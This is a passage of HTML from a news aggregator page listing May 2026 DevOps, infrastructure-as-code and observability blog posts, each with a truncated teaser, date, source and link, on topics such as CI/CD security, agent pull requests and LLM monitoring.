              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Researchers share in an interview how they used GitHub data to predict GDP, inequality, and emissions in ways that traditional economic data misses, along with our Q4 2025 data release. The post How r</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/policy-news-and-insights/how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bringing-new-levels-of-security-to-the-cloud-native-frontier-unified-posture-management-and-real-time-protection" class="group relative scroll-mt-24">
        <a href="#h3-bringing-new-levels-of-security-to-the-cloud-native-frontier-unified-posture-management-and-real-time-protection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bringing new levels of security to the cloud-native frontier: Unified posture management and real-time protection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bringing-new-levels-of-security-to-the-cloud-native-frontier-unified-posture-management-and-real-time-protection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As enterprises scale their digital operations migrating to modern, cloud-native application platforms, security teams are consistently confronted with significant challenges. The dynamic and distribut</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/bringing-new-levels-security-cloud-native-frontier-unified-posture-management-and-real-time-protection"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-improving-token-efficiency-in-github-agentic-workflows" class="group relative scroll-mt-24">
        <a href="#h3-improving-token-efficiency-in-github-agentic-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Improving token efficiency in GitHub Agentic Workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-improving-token-efficiency-in-github-agentic-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic workflows that run on every pull request can quietly accumulate large API bills. Here&#39;s how we instrumented our own production workflows, found the inefficiencies, and built agents to fix them</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/improving-token-efficiency-in-github-agentic-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agent-pull-requests-are-everywhere-heres-how-to-review-them" class="group relative scroll-mt-24">
        <a href="#h3-agent-pull-requests-are-everywhere-heres-how-to-review-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agent pull requests are everywhere. Here’s how to review them.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-pull-requests-are-everywhere-heres-how-to-review-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A practical guide to reviewing agent-generated pull requests: what to look for, where issues hide, and how to catch technical debt before it ships. The post Agent pull requests are everywhere. Here’s </p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/generative-ai/agent-pull-requests-are-everywhere-heres-how-to-review-them/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-limit-credential-exposure-with-fine-grained-personal-access-tokens" class="group relative scroll-mt-24">
        <a href="#h3-limit-credential-exposure-with-fine-grained-personal-access-tokens" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Limit credential exposure with fine-grained personal access tokens
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-limit-credential-exposure-with-fine-grained-personal-access-tokens"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Personal access tokens (PATs) authenticate most of the automation that runs in GitLab. When a token is issued with a broad scope like api or read_api, it extends permissions across many projects and g</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/fine-grained-pats/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automate-deployment-processes-using-a-custom-agent-in-gitlab-duo-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-automate-deployment-processes-using-a-custom-agent-in-gitlab-duo-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automate deployment processes using a custom agent in GitLab Duo Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automate-deployment-processes-using-a-custom-agent-in-gitlab-duo-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every engineering organization has those tasks: complex, repetitive, and time-consuming, but absolutely critical to get right. Onboarding a new microservice into an established GitOps deployment workf</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automate-deployment-with-duo-agent-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-release-orchestration-enterprise-release-management" class="group relative scroll-mt-24">
        <a href="#h3-harness-release-orchestration-enterprise-release-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness Release Orchestration: Enterprise Release Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-release-orchestration-enterprise-release-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness Release Orchestration provides unified modeling, scheduling, and tracking for complex software releases. Eliminate spreadsheets, automate workflows, and maintain complete audit trails. | Blog</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/introducing-harness-release-orchestration"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-q1-2026-product-update-harness-pipeline" class="group relative scroll-mt-24">
        <a href="#h3-q1-2026-product-update-harness-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Q1 2026 Product Update: Harness Pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-q1-2026-product-update-harness-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Q1 2026 brings Git tags for immutable pipeline versions, AI-assisted OPA policy authoring, DAG execution Phase 2, and step-specific failure notifications to Harness Pipelines. | Blog</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/q1-2026-product-update-harness-pipeline"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securing-cicd-for-an-open-source-project-lessons-from-cilium" class="group relative scroll-mt-24">
        <a href="#h3-securing-cicd-for-an-open-source-project-lessons-from-cilium" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing CI/CD for an open source project: lessons from Cilium
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-cicd-for-an-open-source-project-lessons-from-cilium"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 May 6, 2026</strong> • <strong>📰 Cilium Blog</strong></p>
<p><a href="https://cilium.io/blog/2026/05/06/securing-cicd-open-source-lessons-from-cilium"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-code-and-gitlab-three-workflows-that-ship" class="group relative scroll-mt-24">
        <a href="#h3-claude-code-and-gitlab-three-workflows-that-ship" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Code and GitLab: Three workflows that ship
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-code-and-gitlab-three-workflows-that-ship"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Developers love Claude Code because it feels like pairing with a senior engineer right in the terminal or IDE: it helps you understand unfamiliar code, propose fixes, and scaffold new features quickly</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/claude-code-and-gitlab/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-aws-service-catalog-is-now-available-in-the-aws-asia-pacific-new-zealand-and-canada-west-calgary-regions" class="group relative scroll-mt-24">
        <a href="#h3-aws-service-catalog-is-now-available-in-the-aws-asia-pacific-new-zealand-and-canada-west-calgary-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Service Catalog is now available in the AWS Asia Pacific (New Zealand) and Canada West (Calgary) regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-service-catalog-is-now-available-in-the-aws-asia-pacific-new-zealand-and-canada-west-calgary-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Service Catalog is now available to customers in two additional AWS Regions: Asia Pacific (New Zealand) and Canada West (Calgary). AWS Service Catalog enables customers to create, govern, and dist</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-service-catalog-calgary-new-zealand-regions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-dark-factory-pattern-for-infrastructure-running-pulumi-lights-out" class="group relative scroll-mt-24">
        <a href="#h3-the-dark-factory-pattern-for-infrastructure-running-pulumi-lights-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Dark Factory Pattern for Infrastructure: Running Pulumi Lights-Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-dark-factory-pattern-for-infrastructure-running-pulumi-lights-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The original dark factory was Fanuc’s robotics plant in Oshino, Japan, where the lights are off because nobody is on the floor. Robots build robots. Parts move through the line for weeks at a time wit</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/dark-factory-pattern-pulumi-autonomous-iac/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe" class="group relative scroll-mt-24">
        <a href="#h3-how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Open Source Dependency and Repo Attacks Compromise DevOps Pipelines and How to Stay Safe
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern applications rely on open source components for up to 90% of their code, creating a vast attack surface dominated by inhemalicious supply chain injections. High-profile incidents like Log4j and</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/how-open-source-dependency-and-repo-attacks-compromise-devops-pipelines-and-how-to-stay-safe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-llm-observability-tutorial-best-practices" class="group relative scroll-mt-24">
        <a href="#h3-llm-observability-tutorial-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 LLM Observability: Tutorial & Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-llm-observability-tutorial-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>LLM observability analyzes how models behave across development, testing, and production.</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/llm-observability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-prometheus-couldnt-see-cilium-metrics-at-2-am" class="group relative scroll-mt-24">
        <a href="#h3-why-prometheus-couldnt-see-cilium-metrics-at-2-am" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Prometheus couldn’t see Cilium metrics at 2 a.m.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-prometheus-couldnt-see-cilium-metrics-at-2-am"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I still remember the first time we lost sleep over something that wasn’t a bug. It was a Tuesday. Grafana The post Why Prometheus couldn’t see Cilium metrics at 2 a.m. appeared first on The New Stack.</p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/cncf-projects-integration-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-connect-adds-default-step-by-step-guides-for-after-contact-work" class="group relative scroll-mt-24">
        <a href="#h3-amazon-connect-adds-default-step-by-step-guides-for-after-contact-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Connect adds default Step-by-Step Guides for After Contact Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-connect-adds-default-step-by-step-guides-for-after-contact-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Connect now supports Default Guides for After Contact Work (ACW), enabling contact center administrators to automatically launch a Step-by-Step Guide when an agent enters the ACW state without </p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-connect-adds-default-step-by-step-guides-for-after-contact-work"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-an-end-to-end-agentic-sre-using-aws-devops-agent" class="group relative scroll-mt-24">
        <a href="#h3-building-an-end-to-end-agentic-sre-using-aws-devops-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building an end-to-end agentic SRE using AWS DevOps Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-an-end-to-end-agentic-sre-using-aws-devops-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction As modern applications evolve into complex ecosystems of serverless functions, microservices, and event-driven architectures, incident response becomes increasingly challenging. DevOps an</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/building-an-end-to-end-agentic-sre-using-aws-devops-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-monitor-unreal-engine-game-performance-with-application-metrics" class="group relative scroll-mt-24">
        <a href="#h3-monitor-unreal-engine-game-performance-with-application-metrics" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Monitor Unreal Engine Game Performance with Application Metrics
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-monitor-unreal-engine-game-performance-with-application-metrics"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Unreal SDK now auto-instruments FPS, frame time, network health, and game stats, giving your team real player performance data in production.</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/unreal-engine-performance-metrics/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-eliminate-noisy-log-lines-with-adaptive-logs-drop-rules" class="group relative scroll-mt-24">
        <a href="#h3-eliminate-noisy-log-lines-with-adaptive-logs-drop-rules" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Eliminate noisy log lines with Adaptive Logs drop rules
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-eliminate-noisy-log-lines-with-adaptive-logs-drop-rules"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most platform and observability teams have logs they know are noise. These could be throwaway health check logs, forgotten DEBUG logs, or verbose INFO logs from little used services that only serve to</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/eliminate-noisy-log-lines-with-adaptive-logs-drop-rules/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-guide-to-end-to-end-unified-infrastructure-monitoring-2026" class="group relative scroll-mt-24">
        <a href="#h3-guide-to-end-to-end-unified-infrastructure-monitoring-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Guide to End-to-End Unified Infrastructure Monitoring (2026)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-guide-to-end-to-end-unified-infrastructure-monitoring-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
